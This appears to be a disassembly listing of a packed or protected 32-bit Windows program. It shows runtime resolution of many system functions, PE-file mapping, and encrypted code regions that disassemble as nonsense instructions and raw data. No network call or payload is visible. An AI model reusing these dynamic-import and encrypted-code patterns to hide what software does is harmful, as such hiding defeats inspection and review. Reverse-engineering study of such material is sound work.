		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412300	proc near		; CODE XREF: sub_411310+3B3p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_421014	; GetModuleHandleA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41232B
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_42100C	; RaiseException


loc_41232B:				; CODE XREF: sub_412300+18j
		push	offset aClosehandle ; "CloseHandle"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424624, eax
		push	offset aCreatefilea ; "CreateFileA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424628, eax
		push	offset aCreatefilew ; "CreateFileW"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42462C, eax
		push	offset aCreatefilemapp ; "CreateFileMappingA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424630, eax
		push	offset aCreatefilema_0 ; "CreateFileMappingW"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424634, eax
		push	offset aCreateprocessa ; "CreateProcessA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424638, eax
		push	offset aDebugbreak ; "DebugBreak"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42463C, eax
		push	offset aDeletefilea ; "DeleteFileA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424640, eax
		push	offset aEntercriticals ; "EnterCriticalSection"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424644, eax
		push	offset aExitprocess ; "ExitProcess"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424648, eax
		push	offset aFindclose ; "FindClose"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42464C, eax
		push	offset aFindfirstfilea ; "FindFirstFileA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424650, eax
		push	offset aFindnextfilea ;	"FindNextFileA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424654, eax
		push	offset aFlushfilebuffe ; "FlushFileBuffers"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424658, eax
		push	offset aFormatmessagea ; "FormatMessageA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42465C, eax
		push	offset aFreelibrary ; "FreeLibrary"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424660, eax
		push	offset aGetcurrentproc ; "GetCurrentProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424664, eax
		push	offset aGetcurrentpr_0 ; "GetCurrentProcessId"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424668, eax
		push	offset aGetenvironment ; "GetEnvironmentVariableA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42466C, eax
		push	offset aGetexitcodepro ; "GetExitCodeProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424670, eax
		push	offset aGetfileattribu ; "GetFileAttributesA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424674, eax
		push	offset aGetfileattri_0 ; "GetFileAttributesW"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424678, eax
		push	offset aGetfileinforma ; "GetFileInformationByHandle"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42467C, eax
		push	offset aGetfilesize ; "GetFileSize"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424680, eax
		push	offset aGetfiletime ; "GetFileTime"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424684, eax
		push	offset aGetfullpathnam ; "GetFullPathNameA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424688, eax
		push	offset aGetfullpathn_0 ; "GetFullPathNameW"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42468C, eax
		push	offset aGetlasterror ; "GetLastError"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424690, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424694, eax
		push	offset aGetmodulehandl ; "GetModuleHandleA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424698, eax
		push	offset aGetprivateprof ; "GetPrivateProfileIntA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42469C, eax
		push	offset aGetprivatepr_0 ; "GetPrivateProfileSectionNamesA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246A0, eax
		push	offset aGetprivatepr_1 ; "GetPrivateProfileStringA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246A4, eax
		push	offset aGetprocaddress ; "GetProcAddress"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246A8, eax
		push	offset aGetsystemtimea ; "GetSystemTimeAsFileTime"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246AC, eax
		push	offset aGettempfilenam ; "GetTempFileNameA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246B0, eax
		push	offset aGettemppatha ; "GetTempPathA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246B4, eax
		push	offset aGetversionexa ;	"GetVersionExA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246B8, eax
		push	offset aGettickcount ; "GetTickCount"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246BC, eax
		push	offset aHeapalloc ; "HeapAlloc"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246C0, eax
		push	offset aHeapfree ; "HeapFree"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246C4, eax
		push	offset aHeapcreate ; "HeapCreate"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246C8, eax
		push	offset aInitializecrit ; "InitializeCriticalSection"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246CC, eax
		push	offset aDeletecritical ; "DeleteCriticalSection"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246D0, eax
		push	offset aLeavecriticals ; "LeaveCriticalSection"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246D4, eax
		push	offset aLoadlibrarya ; "LoadLibraryA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246DC, eax
		push	offset aLoadlibraryexa ; "LoadLibraryExA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246D8, eax
		push	offset aLocalalloc ; "LocalAlloc"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246E0, eax
		push	offset aLocalfree ; "LocalFree"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246E4, eax
		push	offset aLockfile ; "LockFile"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246E8, eax
		push	offset aMapviewoffile ;	"MapViewOfFile"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246EC, eax
		push	offset aMultibytetowid ; "MultiByteToWideChar"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246F0, eax
		push	offset aOpenprocess ; "OpenProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246F4, eax
		push	offset aRaiseexception ; "RaiseException"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246F8, eax
		push	offset aReadfile ; "ReadFile"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4246FC, eax
		push	offset aSetenvironment ; "SetEnvironmentVariableA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424700, eax
		push	offset aSetevent ; "SetEvent"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424704, eax
		push	offset aSetfilepointer ; "SetFilePointer"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424708, eax
		push	offset aSetlasterror ; "SetLastError"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42470C, eax
		push	offset aSetunhandledex ; "SetUnhandledExceptionFilter"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424710, eax
		push	offset aSleep	; "Sleep"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424714, eax
		push	offset aTerminateproce ; "TerminateProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424718, eax
		push	offset aUnlockfile ; "UnlockFile"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42471C, eax
		push	offset aUnmapviewoffil ; "UnmapViewOfFile"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424720, eax
		push	offset aVirtualalloc ; "VirtualAlloc"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424724, eax
		push	offset aVirtualfree ; "VirtualFree"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424728, eax
		push	offset aVirtualprotect ; "VirtualProtect"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42472C, eax
		push	offset aVirtualquery ; "VirtualQuery"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424730, eax
		push	offset aWaitforsingleo ; "WaitForSingleObject"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424734, eax
		push	offset aWidechartomult ; "WideCharToMultiByte"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424738, eax
		push	offset aWritefile ; "WriteFile"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42473C, eax
		push	offset aLstrcmpia ; "lstrcmpiA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424740, eax
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4246DC	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4128F0
		push	0
		push	0
		push	0
		push	0EF0000F7h
		call	ds:dword_42100C	; RaiseException


loc_4128F0:				; CODE XREF: sub_412300+5DDj
		push	offset aChangedisplays ; "ChangeDisplaySettingsA"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424744, eax
		push	offset aCharupperbuffa ; "CharUpperBuffA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424748, eax
		push	offset aLoadimagea ; "LoadImageA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42474C, eax
		push	offset aMessageboxa ; "MessageBoxA"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424750, eax
		push	offset aWsprintfa ; "wsprintfA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424754, eax
		push	offset aWvsprintfa ; "wvsprintfA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424758, eax
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ds:dword_4246DC	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41298D
		push	0
		push	0
		push	0
		push	0EF0000F6h
		call	ds:dword_42100C	; RaiseException


loc_41298D:				; CODE XREF: sub_412300+67Aj
		push	offset aAddfontresourc ; "AddFontResourceA"
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42475C, eax
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424760, eax
		push	offset aCreatedibsecti ; "CreateDIBSection"
		mov	edx, [ebp+var_8]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424764, eax
		push	offset aDeletedc ; "DeleteDC"
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424768, eax
		push	offset aRemovefontreso ; "RemoveFontResourceA"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42476C, eax
		push	offset aBeginpaint ; "BeginPaint"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424770, eax
		push	offset aEndpaint ; "EndPaint"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424774, eax
		push	offset aGetobjecta ; "GetObjectA"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424778, eax
		push	offset aSelectobject ; "SelectObject"
		mov	edx, [ebp+var_8]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42477C, eax
		push	offset aDeleteobject ; "DeleteObject"
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424780, eax
		push	offset aBitblt	; "BitBlt"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424784, eax
		push	offset aGetwindowthrea ; "GetWindowThreadProcessId"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424788, eax
		push	offset aSetactivewindo ; "SetActiveWindow"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42478C, eax
		push	offset aSetforegroundw ; "SetForegroundWindow"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424790, eax
		push	offset aRegisterclasse ; "RegisterClassExA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424794, eax
		push	offset aGetsystemmetri ; "GetSystemMetrics"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_424798, eax
		push	offset aCreatewindowex ; "CreateWindowExA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_42479C, eax
		push	offset aGetmessagea ; "GetMessageA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4247A0, eax
		push	offset aTranslatemessa ; "TranslateMessage"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4247A4, eax
		push	offset aDispatchmessag ; "DispatchMessageA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4247A8, eax
		push	offset aDestroywindow ;	"DestroyWindow"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4247AC, eax
		push	offset aEnumwindows ; "EnumWindows"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4247B0, eax
		push	offset aDefwindowproca ; "DefWindowProcA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4247B4, eax
		push	offset aPostmessagea ; "PostMessageA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4247B8, eax
		push	offset aCreatethread ; "CreateThread"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_421004	; GetProcAddress
		mov	ds:dword_4247BC, eax
		mov	[ebp+var_4], offset dword_424624
		mov	[ebp+var_14], offset dword_4247C0
		jmp	short loc_412B9A
; ---------------------------------------------------------------------------


loc_412B91:				; CODE XREF: sub_412300:loc_412BC9j
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx


loc_412B9A:				; CODE XREF: sub_412300+88Fj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_14]
		jz	short loc_412BCB
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_412BC9
		push	0
		push	0
		push	0
		mov	ecx, [ebp+var_4]
		sub	ecx, offset dword_424620
		sar	ecx, 2
		sub	ecx, 10FFEFFFh
		push	ecx
		call	ds:dword_42100C	; RaiseException


loc_412BC9:				; CODE XREF: sub_412300+8A8j
		jmp	short loc_412B91
; ---------------------------------------------------------------------------


loc_412BCB:				; CODE XREF: sub_412300+8A0j
		mov	esp, ebp
		pop	ebp
		retn
sub_412300	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421290
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFD8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-24h], 0FFFFFFFFh
		mov	dword ptr [ebp-20h], 0
		mov	dword ptr [ebp-28h], 0
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-4], 0
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+8]
		push	eax
		call	ds:dword_424628	; CreateFileA
		mov	[ebp-24h], eax
		cmp	dword ptr [ebp-24h], 0FFFFFFFFh
		jz	short loc_412C8C
		push	0
		mov	ecx, [ebp-24h]
		push	ecx
		call	ds:dword_424680	; GetFileSize
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-1Ch], 0FFFFFFFFh
		jz	short loc_412C8C
		push	0
		mov	edx, [ebp-1Ch]
		push	edx
		push	0
		push	2
		push	0
		mov	eax, [ebp-24h]
		push	eax
		call	ds:dword_424630	; CreateFileMappingA
		mov	[ebp-20h], eax
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_412C8C
		mov	ecx, [ebp-1Ch]
		push	ecx
		push	0
		push	0
		push	4
		mov	edx, [ebp-20h]
		push	edx
		call	ds:dword_4246EC	; MapViewOfFile
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jnz	short loc_412C96


loc_412C8C:				; CODE XREF: _3:00412C39j _3:00412C4Ej ...
		mov	ecx, 0EF000001h
		call	sub_41BA32


loc_412C96:				; CODE XREF: _3:00412C8Aj
		mov	eax, [ebp-28h]
		mov	ecx, [ebp-28h]
		add	ecx, [eax+3Ch]
		mov	[ebp-30h], ecx
		mov	edx, [ebp-30h]
		cmp	dword ptr [edx], 4550h
		jz	short loc_412CB7
		mov	ecx, 0EF000002h
		call	sub_41BA32


loc_412CB7:				; CODE XREF: _3:00412CABj
		mov	eax, ds:off_42461C
		mov	[ebp-34h], eax
		mov	ecx, [ebp-30h]
		mov	edx, [ebp+10h]
		sub	edx, [ecx+34h]
		mov	[ebp-2Ch], edx
		push	1190000h
		call	sub_411B9E
		mov	al, ds:0E19779ADh
		mov	cl, 0Bh
		db	65h
		pop	edi
		loopne	loc_412D2E
		mov	esi, 9BE6D9CCh
		clc
		or	eax, 0CBF271Ah
		sahf
		or	ah, bl
		cmp	[esi-49D7FC99h], cl
		retn
; ---------------------------------------------------------------------------
		db 17h,	98h, 22h
		dd 1E1104F7h, 7CE31C0h,	87BBEF97h, 3165F51Ah, 0EBDA1C82h
		dd 22574EE3h, 56FCBF20h, 87F67063h, 0BEF3E28Fh,	0CBE63148h
		dd 4E6CC4B2h, 318515B8h, 0CB0A5CB5h
		db 57h,	23h
; ---------------------------------------------------------------------------


loc_412D2E:				; CODE XREF: _3:00412CDEj
		clc
		push	ss
		in	al, 90h
		stc
		cli
		mov	bl, [ebp-37h]
		mov	eax, ds:0D5039062h
		db	2Eh
		mov	al, 0EEh
		push	edx
		mov	bh, 27h
		hlt
; ---------------------------------------------------------------------------
		db 0Ah
dword_412D44	dd 0F935B558h, 7C351553h, 8A5905B0h, 9689FD2Fh,	0A175F528h
		dd 0B37ACC17h, 72E49BDFh, 0ED9519B4h, 0B19D8237h, 834AE466h
		dd 2A3C8313h, 0BDE54984h, 2E5E8806h, 0D31A907Dh, 0DA91357Fh
		dd 4B72BE9Fh, 0BB27C81Fh, 548A5447h, 0C95DCDF0h, 0DB42946Fh
		dd 0ABFB6FFh, 2E305894h, 0F9422E4Bh, 74F2442Ah,	16884B9Bh
		dd 1E11B86Ch, 8A60A34Ah, 0FD418E24h, 0E7165CC6h, 0CE9DC76Fh
		dd 5F8EA9FFh, 0C6F7C413h, 49846053h, 695E6B78h,	0E2D534FEh
		dd 6E2FCEFh, 4A3D319Bh,	1BFAA757h, 4EE05F63h, 0E6D9CCBFh
		dd 1A0C199Bh, 0A3F1DC27h, 909097A4h, 0D285D233h, 45C7EE75h
		dd 0FFFFFFFCh, 2E8FFh, 31EB0000h, 0D87D83h, 458B0A74h
		dd 15FF50D8h, 424720h, 0E07D83h, 4D8B0A74h, 15FF51E0h
		dd 424624h, 0DC7D83h, 558B0A74h, 15FF52DCh, 424624h, 0F04D8BC3h
		dd 0D8964h, 5F000000h, 0E58B5B5Eh, 0CCCCC35Dh, 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4212A8
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFE88h
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-20h], 0
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-4], 0
		push	105h
		call	sub_41BA4A
		add	esp, 4
		mov	[ebp-184h], eax
		mov	eax, [ebp-184h]
		mov	[ebp-1Ch], eax
		push	104h
		mov	ecx, [ebp-1Ch]
		push	ecx
		push	0
		call	ds:dword_424698	; GetModuleHandleA
		push	eax
		call	ds:dword_424694	; GetModuleFileNameA
		mov	edx, [ebp+0Ch]
		add	edx, 82h
		mov	[ebp-24h], edx
		mov	eax, [ebp-24h]
		mov	ecx, [eax]
		and	ecx, 4
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	[ebp-20h], ecx
		cmp	dword ptr [ebp-20h], 0
		jz	loc_41301E
		lea	ecx, [ebp-160h]
		call	sub_41AE88
		mov	dword ptr [ebp-164h], 10h
		push	290000h
		call	sub_411B9E
		xor	ds:33511589h, bh
		wait
		adc	eax, 7F2E5083h
		mov	cl, 0C4h
		neg	byte ptr [ebp+1CDB828Fh]
		icebp
		push	ebp
		in	al, dx
		and	esi, [edi+19h]
		or	eax, 2ADD8F00h
		pop	ebx
		imul	ecx, [ebp+7Eh],	62F19C67h
		db	64h
		push	edi
		and	eax, 6C1CFC52h
		db	36h		; CODE XREF: _3:00412F33j
		jbe	short near ptr loc_412F33+1
		nop
		cmpsd
		mov	ebx, 3AA1AEBAh
		cmc
		or	[edx], dh
		popa
		push	ebx
		inc	esi
		db	2Eh
		setalc
		pusha
		in	eax, dx
		cli
		outsd
		xor	[ecx], ah
		or	bh, [ebx]
		mov	al, ds:83908E19h
		sbb	[esi], eax
		nop
		bound	edi, [eax]
		sbb	[edx-788483F6h], ah
		out	0DAh, al
		int	6Fh
		rcl	esp, 6Ah
; ---------------------------------------------------------------------------
		dd 72727F8Ch, 0CEC18456h, 21F5CCB3h, 0DA01F40Fh, 0FACDAFBCh
		dd 57144D44h, 0DAAF56DEh, 54F1B954h, 0C521AD9Eh, 6689ABB8h
		dd 0CA958847h, 0D6B4BC8Ch, 0F511F50Bh, 0DA1B4E8h, 7A5DD8Bh
		dd 0AED40791h, 24494D3Ah, 5B8A0B18h, 0CAA0A117h, 0B196A3B1h
		dd 55631006h, 0DED1C448h, 990A13EBh, 0B9C7AC9Ah, 7BADE3ACh
		dd 5021110Eh, 5F563744h, 0E9F6026Fh, 0C120432Ch, 818FE4DAh
		dd 36301374h, 6D263341h, 0E5F38876h, 0C44507D8h, 7CFDEDD2h
		dd 7D426370h, 61D59D48h, 0E1EF8C62h, 6E1403D4h,	85C0662Bh
		dd 5242A093h, 0EEE15EE1h, 22157593h, 0BDC1D42Fh, 90908F9Ch
		dd 0C085C033h
		db 75h,	0EEh
; ---------------------------------------------------------------------------


loc_41301E:				; CODE XREF: _3:00412EE0j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_41302C
		jmp	short loc_413045

; =============== S U B	R O U T	I N E =======================================



sub_41302C	proc near		; CODE XREF: _3:00413025p
					; DATA XREF: _4:004212B0o
		mov	ecx, [ebp-1Ch]
		mov	[ebp-188h], ecx
		mov	edx, [ebp-188h]
		push	edx
		call	sub_41BACD
		add	esp, 4
		retn
sub_41302C	endp

; ---------------------------------------------------------------------------


loc_413045:				; CODE XREF: _3:0041302Aj
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413056	proc near		; CODE XREF: sub_41E4C5+1Fp

var_38		= dword	ptr -38h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00413173 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4212B8
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_1C], 0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_414344
		test	eax, eax
		jz	loc_413173
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jz	loc_413173
		mov	eax, ds:dword_424864
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_4130C7
		mov	eax, [ebp+var_2C]
		add	eax, 10h
		push	eax
